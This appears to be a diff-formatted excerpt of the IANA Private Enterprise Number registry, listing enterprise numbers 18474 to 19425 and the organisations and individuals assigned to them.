+18474 Etype Co.
+18475 Research Institute of America
+18476 Actinium Network Sdn Bhd
+18477 Bundesministerium des Innern
+18478 Wehay AB
+18479 FS-VDSL
+18480 RF-DESIGN
+18481 Trustworx GmbH
+18482 ARCWave Inc.
+18483 ROMATSA R.A.
+18484 ProcoliX
+18485 Marietta College
+18486 Quickshift, Inc.
+18487 Everbank
+18488 Interbaun Communications, Inc.
+18489 CarrierComm, Inc.
+18490 Bolsa Nacional de Valores
+18491 NII Voskhod
+18492 Tacoma, spol.s r.o.
+18493 ProcoliX
+18494 S.W.I.F.T. SCRL
+18495 GRAU DATA GmbH
+18496 Rolotec AG
+18497 gec UOC Group
+18498 A&M Consulting Co
+18499 PD3 Tecnologia em Redes e Sistemas Digitais
+18500 Oddpost.com
+18501 Code Fusion cc.
+18502 Mendel University of Agriculture and Forestry
+18503 Intelli7 Inc.
+18504 Brainstorm Internet
+18505 Tele-Consulting GmbH
+18506 CAcert Inc.
+18507 Precise Time and Frequency, Inc.
+18508 MURASHITA CONSTRUCTION INDUSTRY CO., LTD.
+18509 IVK Smart Software Solutions LLC
+18510 Reid Enterprises
+18511 Centre Informatique Region Bruxelloise
+18512 Schaake
+18513 pete23.com
+18514 BekArts International
+18515 Nortech Management Ltd.
+18516 Eclipse Networking Limited
+18517 Orbit Research Ltd
+18518 Crea d.o.o.
+18519 Jahi Networks Inc.
+18520 APSI Inc.
+18521 TakeNET
+18522 Unassigned
+18523 Liverton Limited
+18524 Empresa Metalúrgica Central de Acero "José Valdes Reyes"
+18525 robinbowes.com
+18526 Fisk Labs, Inc.
+18527 Maersk Data Organisator A/S
+18528 Cetelem
+18529 Swisscom-Eurospot
+18530 NightCity.net
+18531 DecisionPoint Applications, Inc.
+18532 The University of New Brunswick
+18533 NTH A.G.
+18534 MCI
+18535 Echostar Data Services
+18536 Oolong project
+18537 TAM Internet service Ltd.
+18538 R.L. Phillips, Inc.
+18539 flagwireless.com
+18540 Webmeesters
+18541 Roland Baum System Consult
+18542 Sphinx Information Technologies Inc.
+18543 Innove Communications
+18544 ecofinance
+18545 Joint-stock company "Trading System Administrator of Wholesale Electricity Market Transactions"
+18546 FAST Video Security AG
+18547 Amanda Emily
+18548 Relationalware
+18549 Kealia Inc.
+18550 Gemplus do Brasil
+18551 Anders Bystrup IT
+18552 Firevue Security Systems
+18553 Arachne Prime Inc.
+18554 Xenotropic Systems
+18555 youneek organisation limited
+18556 Zaurum ECP project
+18557 Hurray!Solution Ltd.
+18558 WUSHIGONG Ltd.
+18559 Softpak International
+18560 Makedonski Telekomunikacii, MTnet
+18561 StarNIC
+18562 Jazz Telecom, S.A.
+18563 DarkPhuture Technologies, Research & Development
+18564 BFI-Burgenland
+18565 SCHUH-TV
+18566 Hogeschool Gent
+18567 Epic Systems Corporation
+18568 Service Availability Forum
+18569 Ensequence, Inc.
+18570 GreenPulse Limited
+18571 Mindhut Limited
+18572 ORC
+18573 Educate Inc.
+18574 Hush Communications Canada Inc.
+18575 Sagem Morpho, Inc.
+18576 Typosign AG
+18577 Contemporary Cybernetics Group, Inc.
+18578 Eardown
+18579 Clear Edge Networks LLC
+18580 Whetstone Software
+18581 SPD-Bundestagsfraktion
+18582 Slack Ltd.
+18583 Vmware Carbon Black (formerly 'Bit 9 Inc.')
+18584 Avanex Co.
+18585 GuangDong Poson Company.Ltd
+18586 bbassett.net
+18587 Fortess Ltd.
+18588 Mekhanika-Service, Ltd.
+18589 GlobeTOM (Pty) Ltd
+18590 Sterci SA
+18591 HORUS HARDWARE S.A.
+18592 Universita' degli Studi di Milano-Bicocca
+18593 Ministry of Finance, Tax Administration of the Republic of Slovenia
+18594 Globalvision Media
+18595 Berufsbildende Schulen I - Uelzen
+18596 Professional Computers Services Organization
+18597 HELIOS Software GmbH
+18598 Firebox Internet Technologies
+18599 Fachhochschule Hagenberg
+18600 Marzek Etiketten GmbH
+18601 Blue Mountains Grammer School
+18602 MediaZen Corp.
+18603 Powercn
+18604 Delta E.S., a.s.
+18605 RiS Gmbh
+18606 Orbitel, Inc.
+18607 KLM Royal Dutch Airlines
+18608 Synlogic AG
+18609 JP.DIAS SERVIÇOS DE INFORMATICA LTD.
+18610 University at Buffalo
+18611 Alenia Spazio S.p.A.
+18612 smspundit.com
+18613 CGL Consulting
+18614 Albert White Technologies
+18615 North American Networks Corporation
+18616 nextWLAN Corporation
+18617 Timestock, Inc.
+18618 Publi Van Dyck N.V.
+18619 web-m GbR
+18620 Jaw Networks
+18621 Hinson and Associates
+18622 K-n-A Ltd.
+18623 micro systems
+18624 Lehrstuhl fuer Technische Dienstleistungen
+18625 UniVision (Canada) Ltd.
+18626 UNET BV
+18627 Bakasquared
+18628 Microelectronics Technology Inc.
+18629 Iclass Co. Ltd.
+18630 Reeuenta Design Service Taiwan Ltd.
+18631 DARG
+18632 SA SST Informatique
+18633 STATER
+18634 Advanced Software Production Line, S.L.
+18635 m-otion GmbH
+18636 UVT s.r.o.
+18637 JNS Inc.
+18638 Avedya
+18639 Kinnikinnick Foods Inc.
+18640 Digital Envoy, Inc
+18641 Royal Military College of Canada
+18642 C&C Power, Inc.
+18643 Montgomery County Government
+18644 Daniel Skadlubowicz
+18645 Cesart Creation inc.
+18646 Electric Mail Co.
+18647 DEXTER COMMUNICATIONS, INC.
+18648 HTU Graz
+18649 Magnet.ch AG
+18650 Projectiondesign AS
+18651 GLANCE AG
+18652 Zentrum für Bioinformatik, Hamburg
+18653 Eraia srl
+18654 Scottish Police Authority (formerly 'Central Scotland Police')
+18655 IUNDS AG
+18656 AirRunner Technologies
+18657 GoldenGate Software, Inc.
+18658 Xcitel Ltd.
+18659 Chung Hua University
+18660 WebKMS
+18661 Elitech Information Technology Co.,Ltd.
+18662 Mathias Kettner
+18663 Laakirchen Papier AG
+18664 IPnP
+18665 Axelero Internet Szolgáltató Rt.
+18666 Payroll Sweden AB
+18667 HBware
+18668 freshmeat.net, part of OSDN, Inc.
+18669 Memorial Hermann healthcare System
+18670 General Atomics
+18671 Knovative, Inc.
+18672 Secured Computer Concepts
+18673 Webjorn Data & Natverkskonsult
+18674 telecomSoftware
+18675 Strategy & Technology ltd
+18676 LEOFOO DEVELOPMENT CO., LTD
+18677 Datenzentrale Baden-Wuerttemberg
+18678 Winston Industries
+18679 Behr Internet Solutions, Inc.
+18680 Con Edison Communications
+18681 Travelping GmbH
+18682 Dr. Brunthaler IITech GmbH
+18683 CJ Ltd.
+18684 Davey Control Systems
+18685 Portal München GmbH & Co. KG
+18686 InControl Technology Inc
+18687 Information Flow
+18688 IU.TV Ltd
+18689 Neonetix, LLC.
+18690 Healthlink Limited
+18691 Bussi
+18692 Katana Technology, Inc.
+18693 NDS Media Solutions
+18694 isometry.net
+18695 Soluciones Telematicas Avanzadas S.L.
+18696 Idiom Communications LLC
+18697 Syniverse Technologies Asia Pacific Limited (formerly 'IVRS (International) Limited')
+18698 Tonghua Wanghang Information & Technology Co.,Ltd.
+18699 DAPYXIS NETWORK LIMITED
+18700 ACOM CO.,LTD
+18701 Minplan
+18702 REUTERS S.A.
+18703 Siix d.o.o.
+18704 Institute of Mathematics of the Romanian Academy
+18705 Dynamix Promotions Limited
+18706 Corporacion Aceros Arequipa S.A.
+18707 Muskingum College
+18708 Guardium Inc.
+18709 INOTESKA s.r.o.
+18710 Kaytec Ltd.
+18711 Burger Knowledge Consultancy
+18712 Ajin Techline co., Ltd
+18713 FH JOANNEUM Gesellschaft mbH
+18714 Lanzhou University of Technology
+18715 Grand Electronic Co.,Ltd.
+18716 Grand Electronic Co.,Ltd.
+18717 UCB SA/NV
+18718 Association of Hellenic Internet Users
+18719 O2 Ltd
+18720 FarSite Communications Limited
+18721 EMICT Ltd.
+18722 Universidade Federal do Parana
+18723 Digicast Networks Inc
+18724 EDJ Enterprises, Inc.
+18725 Paycom Billing Services, Inc.
+18726 Isala Klinieken
+18727 Apollo Group, Inc.
+18728 Unassigned
+18729 RB Holdings
+18730 C&A srl
+18731 INGENIERIA DE SISTEMAS MULTIAGENTE, S.L.
+18732 Horner Brothers Print Group
+18733 Magnifire Networks
+18734 Wildher ICT Solutions
+18735 Hayes Lemmerz International
+18736 Ertius Consulting
+18737 Northrop Grumman
+18738 DjE
+18739 CraftAnalogy, Inc.
+18740 J. S. Thrower and Associates Ltd.
+18741 Leurck Software
+18742 SACEM
+18743 Entrada Internet Systems, Inc.
+18744 Idea Tec Sahar (ITS) Ltd
+18745 ERANET srl
+18746 Matsushita Electric Europe
+18747 American Fibertek, Inc.
+18748 Engelschall
+18749 The OpenPKG Project
+18750 solar
+18751 IPDeliver Inc.
+18752 Financial Engines, Inc.
+18753 Adelphia Communications
+18754 University of Wisconsin - Parkside
+18755 MavriQ Technologies, LLC
+18756 Michal Charvat
+18757 United Systems Access Inc.
+18758 Stordyne Corporation
+18759 Netlink Technology Ltd.
+18760 Guangdong Electronic Certification Authority
+18761 Regal Cyber Limited
+18762 Sumtech Inc
+18763 TheNetWerk
+18764 ---none---
+18765 Comtel Electronics GmbH
+18766 Procitec GmbH
+18767 Kaba Management + Consulting AG
+18768 Virtual Royal Danish Air Force
+18769 University Computer Center (URC) Banja Luka
+18770 SUNCOM Systems
+18771 The Salvage Association
+18772 Microbus plc
+18773 Internet Creation Co.,Ltd.
+18774 Banca Monte dei Paschi di Siena S.p.A.
+18775 Neuronenwerk
+18776 eAcceleration Corp
+18777 Thomas Luzat IT-Services
+18778 ARCANE NETWORKS
+18779 Synergy Information Services, Inc.
+18780 ANSES
+18781 Zagamma Labs
+18782 Rozhled.cz
+18783 Interwoven, Inc.
+18784 Great Clips, Inc.
+18785 Collation Inc.
+18786 Global-Arts
+18787 Clubhaus PLC
+18788 MyNym
+18789 Pro QC International Ltd
+18790 EcGuard Technology Co. Ltd.
+18791 Chatchalerm Namwongprom
+18792 HORIBA Europe Automation Division GmbH
+18793 Norske Skogindustrier ASA
+18794 Uni Regensburg
+18795 ASPLinux
+18796 Horizon.Net S.A
+18797 Lunics GmbH
+18798 digital design GmbH
+18799 Layer14
+18800 WRK Computer Systems
+18801 Forrest Aldrich
+18802 AUCONET GmbH
+18803 MEDCOM sp. z o.o.
+18804 Advisec AB
+18805 Struktuur Meedia
+18806 Calm Computer Corp.
+18807 MAPLE NETWORKS Co.,Ltd
+18808 Fondation pour l'institut de hautes études internationales et du développement (formerly 'Graduate Institute of International and Development Studies')
+18809 NetLink Consulting LLC
+18810 Inotera Memories Inc.
+18811 Colgate-Palmolive Company
+18812 Sageway Computer Solutions Pte Ltd
+18813 DEMARINA SDN. BHD.
+18814 RoCNet Linux-Services
+18815 ConD GmbH
+18816 Andrea Fino
+18817 Ethernet Powerlink Standardisation Group (EPSG)
+18818 Dinsa Soluciones
+18819 Pardes Group SA
+18820 RAMCS
+18821 m-Wise UK Ltd.
+18822 FOTEK ,Ltd.
+18823 COM-PAN s.c.
+18824 av
+18825 Topio, Inc.
+18826 PSA Corporation Limited
+18827 LOBOK - projects
+18828 danet GmbH
+18829 COM.BOX Internet Service GmbH
+18830 Jingo Digital
+18831 InFormaL
+18832 Universität Potsdam
+18833 MICROTROL SRL
+18834 Competitionhill
+18835 Government of the District of Columbia
+18836 Flathead Valley Community College
+18837 Spectracom Corporation
+18838 AEAT
+18839 Data Consulting Group, Inc.
+18840 Milwaukee Public Schools
+18841 Acorn Packet Solutions
+18842 Linuxlösungen Michael Rößler
+18843 CPR Software LLC
+18844 Triacta Power Technologies, Inc.
+18845 eCartsoft.com
+18846 State of Tennessee
+18847 Objectpark Software GbR
+18848 UIS Abler Electronics Corp. Ltd.
+18849 OneDataCentral
+18850 CoSystems, Inc.
+18851 Association DSPNet
+18852 Gerdes Aktiengesellschaft
+18853 EURILOGIC Technologies
+18854 Axiliance
+18855 Beijing Fibridge Co., Ltd.
+18856 Monitor Electronics Ltd
+18857 dh computersysteme
+18858 RDR Technologies LLC
+18859 PaX AG
+18860 Friends of the Earth International
+18861 Educational Standards and Certifictations Inc.
+18862 WillMedia Corp.
+18863 Sisters of Charity Health Service
+18864 Touring Club Suisse (TCS)
+18865 Turunch Technologies
+18866 White & Stover Innovations, LLC
+18867 Meetinghouse Data Communications
+18868 InterNiche Technologies Inc
+18869 University of Helsinki
+18870 OpsPoint
+18871 FirstAttribute AG
+18872 The Groovy Corporation
+18873 Works Operating Company
+18874 S & S Professionals, Inc.
+18875 Scorpion Software Corp.
+18876 TEVRON, LLC
+18877 Darwin Solutions LLC
+18878 Asschem
+18879 LinuxHeaven
+18880 American Museum of Natural History
+18881 Prometeia Srl
+18882 Adventist International Institute of Advanced Studies (AIIAS)
+18883 Projektgroup LDAP University of Siegen
+18884 Shanghai Sansi Technology Co., Ltd.
+18885 geeks.pl
+18886 PFU LIMITED
+18887 University of Massachusetts Boston CPCS
+18888 Guoxin Telecom System Ltd
+18889 "Arhangelsk Television Company" Ltd.
+18890 Integrated Communication Technologies
+18891 The Closed Joint-Stock Company ?DeltaBank¦
+18892 GEMMA Systems, spol. s r.o.
+18893 SMS Siemag AG
+18894 Technische Fachhochschule Wildau
+18895 Moravska zemska knihovna
+18896 Esilog Consulting, S.L.
+18897 Cellopoint International Corporation
+18898 Freie Universitaet Berlin (FU-Berlin)
+18899 Isvara
+18900 evosoft GmbH
+18901 Capital Lease GmbH
+18902 Aetat
+18903 MANDOZZI ELETTRONICA S.A.
+18904 Propylon
+18905 Total Card, Inc.
+18906 stefi
+18907 Pironet NDH AG
+18908 Inpriva, Inc.
+18909 Service Management Software
+18910 Bombardier Transportation Inc.
+18911 Professional Data Management Again Inc.
+18912 N-able Technologies Inc.
+18913 Statna pokladnica
+18914 Empneusis Internet Services
+18915 Nautronix Ltd
+18916 Shanghai TransEngines Technologies Co.,Ltd
+18917 Shanghai Futures Exchange
+18918 Bringe Informationstechnik GmbH
+18919 Alfa21 Outsourcing, S.L.
+18920 Agencia Notarial de Certificacion
+18921 NextiraOne Deutschland GmbH
+18922 Trellis Tecnologia Ltda.
+18923 Yamaguchi University
+18924 Relston Consulting Limited
+18925 Prior
+18926 JTT "Novel-IL"
+18927 tandav enterprises
+18928 Areca Technology Corporation
+18929 Interwise, Inc.
+18930 Skyx.Org
+18931 DaveLinux
+18932 Naeilnet Inc.
+18933 ActivNetworks
+18934 Vivex GmbH
+18935 Essex Electronics, Inc.
+18936 National Institute of Advanced Industrial Science and Technology
+18937 Lynk
+18938 Rubix Information Technologies, Inc.
+18939 Retail Decisions Inc.
+18940 Kristopher Johnson Consulting
+18941 Vermont State Colleges
+18942 Liquid Computing Corporation
+18943 HealthPartners
+18944 nethype GmbH
+18945 Dynamic Infosystems Ltd.
+18946 Digital Species Ltd
+18947 CANOPEE SECURITY
+18948 SONATEL
+18949 Golden Eagle Enterprises Ltd
+18950 LAN Force Inc.
+18951 Fast Lane Institute for Knowledge Transfer GmbH
+18952 Prudential Finanical
+18953 Altkom Akademia S.A.
+18954 Brandywine Communciations
+18955 Digital Identity Ltd.
+18956 Trusted Network Technologies, Inc.
+18957 Robert's Computer & Electrical Service
+18958 EZNETSOFT
+18959 sichuan normal university
+18960 Larsen & Toubro Infotech Ltd
+18961 Auditor revizijska druzba d.o.o., Ptuj
+18962 LRP
+18963 EDN Sovintel
+18964 ELEKTRONIK HENGARTNER AG
+18965 Netyantra Inc.
+18966 Unassigned
+18967 Oxford County Telephone and Telegraph Company
+18968 012 goldenlines Ltd
+18969 University of Maryland Baltimore
+18970 Expert SA
+18971 G&S Sistemas de Información, S.L.
+18972 Panama Canal Authority
+18973 TuXic.nl
+18974 Universal Business Matrix, LLC
+18975 BRG16
+18976 Badger Alarm and Control, LLC
+18977 NIC-IQ Ltd
+18978 CXO Systems Inc.
+18979 EVERYWHERECOMMUNICATIONS.NET
+18980 Cypak AB
+18981 Reserved
+18982 Link-Yug Ltd.
+18983 AOK Sachsen
+18984 Magos Consulting, Ltd.
+18985 Insinova AG
+18986 FleetBoston Financial Corporation
+18987 Ralf Meister
+18988 Shanghai Eastimage Equipments Co.,LTD
+18989 Day Dreams And Information Technologies
+18990 CNC a.s.
+18991 IOP Publishing Ltd
+18992 WEBForce GmbH
+18993 ObjectFusion, L.L.C.
+18994 Olix
+18995 CommSpeed, LLC
+18996 Globix Corporation
+18997 Ibrix Corp.
+18998 Redstone Consulting, LLC
+18999 Health Management Corporation
+19000 Dongyang Telecom Ltd.
+19001 Research Center of Computational Mechanics, Inc.
+19002 Sun Yat-sen (Zhongshan) University
+19003 SENAS.NET
+19004 CreationPoint Systems, Inc.
+19005 AdytumSolutions, Inc.
+19006 Polish Professional Publishers Ltd.
+19007 3C Systems Oy
+19008 GateHouse
+19009 Clever IT di Ivan Raimondi
+19010 Bluetop Technology Co., Ltd.
+19011 Jacarta Ltd.
+19012 Net Evidence (SLM) Ltd
+19013 Sonario
+19014 Magix s.r.o.
+19015 oulman.org
+19016 Scholl Consulting
+19017 XTEND Consulting, LLC
+19018 Dandre
+19019 Coastal Carolina University
+19020 ryanscool
+19021 Ensemble Designs, Inc.
+19022 Invocom Ltd.
+19023 LMU
+19024 Bixby Telephone Company
+19025 OSLiNK Spolka z o.o.
+19026 Dirk Gorny Unternehmensberatung
+19027 TriAWorks, Inc.
+19028 Sputnik, Inc.
+19029 Nittotsushinki Co.,Ltd.
+19030 Suva
+19031 LogIn S&C GmbH
+19032 Apollis AG
+19033 Moniforce B.V.
+19034 3SP, Investigação e Desenvolvimento de Tecnologias, Lda.
+19035 Omnirei s.r.l.
+19036 Etherboot Project
+19037 Bolsa Nacional de Valores
+19038 WebNet, Ltd
+19039 National Research Center for High Performace Computers
+19040 Trusted Computer Solutions, Inc.
+19041 Apparent Networks Inc.
+19042 ACBR Computadores Ltda.
+19043 XiTrust Secure Technologies GmbH
+19044 JSC "Kredyt Bank (Ukrajina)"
+19045 MyNetwork System Co.,Ltd
+19046 Lenovo Enterprise Business Group
+19047 Magerealm Enterprises
+19048 Fambus
+19049 Scalix Corporation
+19050 Conchis, LLC
+19051 Martin Thorpe
+19052 Seekamp Enterprises
+19053 KUBOTEK Corporation
+19054 Intraperson
+19055 Naviscan PET Systems, Inc.
+19056 Access Computech Pvt Ltd.
+19057 Exavio, Inc.
+19058 BISON Systems AG
+19059 moreCom A/S
+19060 UXComm
+19061 Werner Wiethege
+19062 Tuxee Network
+19063 Alterlane
+19064 Bureau Ingénierie Richard Domon SA
+19065 PETIT-FR
+19066 Macnetix OHG
+19067 Universidade Católica Portuguesa
+19068 Travel Only
+19069 xenocastle
+19070 Kevcom Microsolutions
+19071 I-Assure
+19072 Magnasync
+19073 Sundowner Trailers Inc
+19074 Fidelis Security Systems, Inc
+19075 Poštna banka Slovenije, d. d.
+19076 xenocastle
+19077 Xing-Lab
+19078 Fujitsu Component Limited
+19079 Silicon Data International Co., Ltd.
+19080 Tsukasa Enterprise
+19081 Wuhan Jetway Information Security Industry Co.,Ltd
+19082 Voelcker Informatik AG
+19083 Albanet Ltd
+19084 Mimic Productions
+19085 The Davidge Group
+19086 Maytech Publishing Ltd
+19087 NTx BackOffice Consulting Group GmbH
+19088 Maersk Data SPECTIVE
+19089 Infor.org Inc. Taiwan
+19090 Bernhard-Riemann-Gymnasium Scharnebeck
+19091 NuGenesis Technologies, Inc
+19092 Exa Networks Ltd
+19093 Hofsvang
+19094 peerVue LLC
+19095 TiL Solutions inc.
+19096 info2cell.com FZ-LLC
+19097 DefaultCity
+19098 PAL Communications
+19099 Whitewater Mobile LLC
+19100 OHANA WIRELESS INCORPORATED
+19101 Vouch Integrated Technologies (P) Ltd.
+19102 Karlsruher Lebensversicherung AG
+19103 CHMS, Inc.
+19104 BOUYGUES, SA
+19105 Fabian Fagerholm Consulting
+19106 Deep Eddy Internet Consulting
+19107 boojum mobile, inc
+19108 I&TC Solutions Pty. Ltd.
+19109 PacketMotion, Inc.
+19110 Conduit Networks, Inc
+19111 eBdesk Ltd
+19112 RJL Computer Consulting, LLC
+19113 Server Place LTDA
+19114 Proximion Fiber Systems AB
+19115 Bernhard-Riemann-Gymnasium Scharnebeck
+19116 Antidot
+19117 MAMM d.o.o.
+19118 Europlex Technologies Ltd.
+19119 Blue Chip Technology Ltd
+19120 800onemail Inc.
+19121 Augmentix Corporation
+19122 Yang Arts
+19123 Virtual Charting
+19124 Pexim d.o.o.
+19125 Planar Systems, Inc.
+19126 AECODI
+19127 SpamPet
+19128 KomKom Electronics
+19129 Sanek Systems
+19130 MenuSiS Technologies (Pty) Ltd.
+19131 Stiftung Synanon
+19132 The Cheshire Web Mill
+19133 Baycom Opoto-Electronics Technology Co., Ltd.
+19134 Texocom Inc
+19135 Darkerhosting.net
+19136 Trichord, Inc.
+19137 Sebastian Staiger Computer Services
+19138 Bright Prospects LLC
+19139 Edgewater Networks, Inc.
+19140 Matthew R. Wilson
+19141 Quest Serviced Apartments
+19142 Carlo Strozzi (formerly 'ScriptaWorks s.r.l.')
+19143 SecureAge Technology
+19144 Arjuna
+19145 Xonix
+19146 Jubatus Corporation
+19147 Università degli Studi di Milano
+19148 acticall
+19149 Innovaciones Microelectrónicas S.L.
+19150 Ville d'Aulnay-sous-bois
+19151 WRX Slovakia s.r.o.
+19152 Camargo e Souza SC/LTDA
+19153 Instituto Politécnico Do Porto
+19154 Corporacion Nacional de Angioplastia
+19155 AirManage Networks Ltd.
+19156 Cutting Edge
+19157 Chongqing Changsong Network Information Co.LTD
+19158 PlumStreet, LLC
+19159 Shelton School District
+19160 ICAT Managers, LLC
+19161 POSnet Services, LLC
+19162 Evolving Media Network, LLC
+19163 insen
+19164 Initial City Link Limited
+19165 Kanton Solothurn
+19166 Alswille Gloabal Services
+19167 CapMon A/S
+19168 Fruno S.A.
+19169 Volantis Systems Ltd
+19170 X-Taskforce s.r.l.
+19171 Checkcare Enterprises, LLC
+19172 PFM.Net, Inc.
+19173 Rex Consulting, Inc.
+19174 Gestalt, LLC
+19175 oraise GmbH
+19176 SCOMCENTER
+19177 Tandem Systems, Ltd.
+19178 Skill Corporation
+19179 Raysis Co.,Ltd
+19180 Guidewire Software, Inc.
+19181 Optimum Holding Inc.
+19182 JDA Software
+19183 Herdt Domain Service
+19184 Widerthan.com
+19185 LinuxCare Ltd.
+19186 Xtramus Technologies
+19187 MEK
+19188 satunol mikrosistem
+19189 Senshu University
+19190 Bildanalyssystem AB
+19191 woofertom media
+19192 Iglooz Technologies
+19193 b-next GmbH
+19194 Interbyte bvba
+19195 TRANSRADIO SenderSysteme Berlin AG
+19196 Agarik
+19197 Eastlink GmbH
+19198 activ-net GmbH & Co. KG
+19199 SHC Netzwerktechnik GmbH
+19200 MMG
+19201 Oyster Partners Ltd
+19202 meto-logic
+19203 DAI-Labor
+19204 Milano Medien GmbH
+19205 Secardeo GmbH
+19206 Hollins University
+19207 Graphic Management Partners Inc.
+19208 analytiq consulting gmbh
+19209 Caterpillar Inc.
+19210 Cassatt Corporation
+19211 TEZ Georgsberg GmbH
+19212 University System of Maryland
+19213 Raining Data Corporation
+19214 Ogilvy & Mather Deutschland GmbH (formerly 'WPP Service GmbH & Co. KG')
+19215 European Organisation for Research and Treatment of Cancer AISBL / IVZW
+19216 Heringa
+19217 iiNet Pty Ltd
+19218 Fortress Networks (Aust) Pty Ltd
+19219 Pi Kappa Alpha - Gamma Tau
+19220 Local-Web AG
+19221 Metropolis AG
+19222 Eurotek srl
+19223 Internap Network Services Corporation
+19224 OSSBroadNet K.K
+19225 Tumel
+19226 Titanium
+19227 Blackwood Medical Inc
+19228 Finish Line, Inc.
+19229 CFOknows, LLC
+19230 Graphix Prose, LLC
+19231 Lumenware, LLC
+19232 LSC Linux Support Center Kft.
+19233 Blue Lane Technologies Inc.
+19234 M2
+19235 Silver Diamond Services, LLP
+19236 CPM SA
+19237 becom Informationssysteme GmbH
+19238 Moore Systems, Inc.
+19239 cfSOFTWARE, Inc.
+19240 Nanshu Densetsu
+19241 Cemaphore Systems Inc.
+19242 Tellusoft
+19243 Titus
+19244 SafeNet Media
+19245 CBPM Software
+19246 XWDL
+19247 Romat Telecom Ltd.
+19248 MANIA Research Group
+19249 FabianSoft di Fabiano Copeta
+19250 Image Systems Corporation
+19251 KIP Information Network
+19252 NuPi Solutions
+19253 Jaspert
+19254 Dark Blue Sea
+19255 Vaccius ITsec Pte LTd
+19256 iCADA GmbH
+19257 ProSyntic Ingenieurs b.v.
+19258 La Joliverie
+19259 Ansync Inc.
+19260 MagiQ Technologies, Inc.
+19261 Minneapolis College of Art and Design
+19262 Dedicado
+19263 ET VOILA !!
+19264 Magnus Weis
+19265 Momentum Computer, Inc.
+19266 Landesamt für Digitalisierung, Breitband und Vermessung (formerly 'Bayerisches Landesamt für Statistik und Datenverarbeitung')
+19267 Ajuntament de Palma
+19268 Intercomp Ltd.
+19269 Hybrigenics SA
+19270 Stora Enso Oyj
+19271 Ministère de l'économie, des finances et de l'industrie (Minefi)
+19272 praksys
+19273 TMBNET
+19274 Services Industriels de Geneve
+19275 Constant Data, Inc.
+19276 Paedagogische Hochschule Ludwigsburg
+19277 Shenandoah Solutions, Inc.
+19278 INOV - INESC Inovação
+19279 TMBNET
+19280 China Daily
+19281 Intrasync, LLC
+19282 Institute of Continuous Media Mechanics
+19283 Sibelius Academy
+19284 TGS Telonic GmbH
+19285 BRAZILMALL NETWORK LTDA
+19286 Universidad de Los Andes
+19287 META Industriesoftware GmbH
+19288 ECOPETROL S.A.
+19289 3Sharp
+19290 Just Aaron
+19291 Macrad
+19292 Pirel inc.
+19293 Danriver Technologies Corporation (formerly 'Shanghai jisung information technology co.,Ltd')
+19294 LeapComm Communication Technologies Inc.
+19295 Kolle, IT-Ingeniørfirma ApS
+19296 Filterlogix, LLC
+19297 DSpace Pty Ltd
+19298 Media Cruise Solutions k.k.
+19299 Turkcell Iletisim Hizmetleri A.S.
+19300 Deutscher Sparkassen Verlag GmbH
+19301 Pulse Software & Consulting Inc.
+19302 CryptCOM Securities, Inc.
+19303 Zhejiang Telecom Equipment Factory
+19304 BNP Paribas Arbitrage
+19305 Indio Technologies
+19306 FatPipe Networks
+19307 MDS INC.
+19308 Genesee Freenet
+19309 chandan
+19310 D.H.S. - Data, Hardware, Software spol s r.o.
+19311 Sterling Crane
+19312 Archivas, Inc.
+19313 beu.ch
+19314 Hein Roehrig IT Consulting GbR
+19315 Andrew Johnson
+19316 Mitsubishi Motors Corporation
+19317 1310369 Ontario Ltd.
+19318 SPAN International
+19319 CLSA Ltd
+19320 Tomsktelecom, a branch of Sibirtelecom OJSC
+19321 VSnet
+19322 netiq s.r.o.
+19323 National Centre for Physics
+19324 Rover Laboratories S.p.A.
+19325 Eroski S. Coop.
+19326 Tancsics Mihaly SzSzK
+19327 Deutscher Skiverband
+19328 TRANSGENE SA
+19329 Telcotec Ltd.
+19330 R&K Engineering, Inc.
+19331 TECNET GMBH
+19332 Paperlinx NZ Ltd
+19333 Electro Industries/GaugeTech
+19334 Cerzan, Inc.
+19335 Intermax BV
+19336 Signull Technologies
+19337 Dynamx Internet Services
+19338 Bharti Telesoft International Pvt. Ltd.
+19339 Fachhochschule Bochum
+19340 Provincia di Reggio Emilia
+19341 Foreningssparbanken
+19342 Pinuts media+science Multimedia-Agentur GmbH
+19343 Medictyon
+19344 United SSL Deutschland GmbH
+19345 Odd Element Inc.
+19346 SMComputer EDV Service & Consulting Schmid Manfred
+19347 Pyzzo Software Corporation
+19348 Synacor, Inc.
+19349 Lightshore
+19350 eyevis
+19351 Ivega Corporation Pvt. Ltd.
+19352 IP Labs GmbH
+19353 ScottRickman
+19354 E-Force S.r.l.
+19355 Sebastian Dietzold
+19356 Agroportal B.V.
+19357 University Medical Centre Nijmegen
+19358 Wildner AG
+19359 TOPPAN FORMS CO.,LTD.
+19360 Q&R B.V.
+19361 Knowledge Media Research Center
+19362 Virtuous, Inc.
+19363 Net Island Networks
+19364 4thpass Inc.
+19365 Nike Inc.
+19366 Westel Systems
+19367 Ecolab, Inc
+19368 Azul Systems, Inc.
+19369 Laboratorio Imagen Radiologica
+19370 Telecast Fiber Systems, Inc.
+19371 Lanvise
+19372 Miami County ESC
+19373 PowerTel Limited
+19374 Orc Software
+19375 Max-SI
+19376 Integrating the Healthcare Enterprise
+19377 Nekotec Telecom
+19378 MagicCastle Cummunication
+19379 Imperva, Inc.
+19380 TAMURA Corporation
+19381 Bundesanstalt fuer Finanzdienstleistungsaufsicht
+19382 Manzara Electronics LTD.
+19383 Mikromarketingas UAB
+19384 VIC TOKAI CORPORATION
+19385 Infinity Comunicaciones
+19386 Martech Systems (Weymouth) Ltd.
+19387 Laboratori Guglielmo Marconi
+19388 DB Systems GmbH
+19389 ComSign Ltd.
+19390 Trend Software LLC
+19391 SASH Management, LLC
+19392 City of Union City, Georgia
+19393 Trident Systems Incorporated
+19394 I.T. By Design, Inc.
+19395 NewLink Genetics
+19396 CITI - Center for Information Technology Integration
+19397 TrafficSim Co., Ltd.
+19398 JSC Institute of Informational Technologies
+19399 Xylon Computersystems
+19400 TriggerPlus Software Ltd.
+19401 Fachhochschule Kaiserslautern Standort Zweibruecken
+19402 Robert W. Baird & Co
+19403 Westbridge Technology, Inc.
+19404 NIC Inc.
+19405 Advanced Systems Concepts, Inc.
+19406 Adiscon GmbH
+19407 Atomic9.NET
+19408 Zweicom Ltd.
+19409 Smittskyddsinstitutet
+19410 Ministerio de Economia y Hacienda
+19411 Andreas Falk
+19412 TeliaSonera Mobile Networks AB
+19413 SBIM-FMUP
+19414 Kolab Project
+19415 Docucorp International
+19416 Edison Schools
+19417 Envoy International, LLC
+19418 Stampede Technologies, Inc.
+19419 Internet-Team GmbH
+19420 NodeMinder
+19421 Futago LLC
+19422 LDAP Technologies
+19423 Global Dial Pty Ltd
+19424 ECoCoMS Ltd.
+19425 Hinttech BV
